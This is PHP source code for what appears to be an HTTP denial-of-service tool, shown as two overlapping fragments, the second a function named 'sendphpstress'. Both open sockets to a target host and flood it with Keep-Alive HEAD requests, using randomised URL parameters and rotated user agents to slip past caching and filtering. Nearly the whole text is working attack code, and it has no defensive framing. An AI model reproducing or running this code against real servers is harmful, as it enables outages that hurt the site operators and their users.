//Most servers limit Keep-Alive sessions to 100 requests per connection if ($max_requests_per_connection > 100) { $max_requests_per_connection = 100; } if ($max_requests_per_connection < 1) { $max_requests_per_connection = 1; } //Work out how many connections to make in order to fulfill the max_requests $max_connections = ceil($max_requests / $max_requests_per_connection); for ($c = 0; $c < $max_connections; $c++) { //Stay within our max_connections limit echo "Opening connection [" . ($c + 1) . "] to " . $target_url['host'] . ".."; @($attack_socket = fsockopen($target_url['host'], $target_url['port'], $errno, $errstr, 3)); if (!$attack_socket) { echo "failed (" . $errstr . ")" . $lb; } else { echo "success" . $lb . "Sending requests: |"; for ($r = 0; $r < $max_requests_per_connection; $r++) { //Stay within our max_requests_per_connection limit $request = "HEAD " . str_replace("%rand%", quick_rand(), $request_url) . " HTTP/1.1\r\nHOST: " . $target_url['host'] . "\r\nUser-Agent: " . $useragent . "\r\nConnection: Keep-Alive\r\n\r\n"; @fwrite($attack_socket, $request); echo "."; usleep($delay_between_requests * 1000000); //Delay between requests } echo "|" . $lb; } @fclose($attack_socket); echo "Closed connection" . $lb; usleep($delay_between_connections * 1000000); }
function sendphpstress($target_url, $request_url, $mr, $mpc, $dbr, $dbc) { // max requests divided by max requests per connection $max_connections = ceil($mr / $mpc); echo "[!] To exit press control C or whatever TTY options are set to exit command line program\n\n\n"; // lets loop through connections for ($c = 0; $c < $max_connections; $c++) { echo "Opening connection [" . ($c + 1) . "] to " . $target_url['host'] . ".."; @($attack_socket = fsockopen($target_url['host'], $target_url['port'], $errno, $error, 3)); // cant open socket display fail if (!$attack_socket) { echo "failed (" . $error . ")" . "\n"; } else { // Success lets send out connections echo "success" . "\n" . "Sending requests: |"; //Stay within our max_requests_per_connection limit for ($r = 0; $r < $mpc; $r++) { // grab a ran user agent $useragent = userAgentRand(); // build payload for attack $request = "HEAD " . str_replace("%r%", quick_rand(), $request_url) . " HTTP/1.1\r\nHOST: " . $target_url['host'] . "\r\nUser-Agent: " . $useragent . "\r\nConnection: Keep-Alive\r\n\r\n"; // write socket and make connection @fwrite($attack_socket, $request); echo "."; // Delay between requests 1 second requests usleep($dbr * 1000000); } echo "|" . "\n"; } @fclose($attack_socket); echo "Closed connection" . "\n"; // amount of time to delay between connections usleep($dbc * 1000000); } return True; }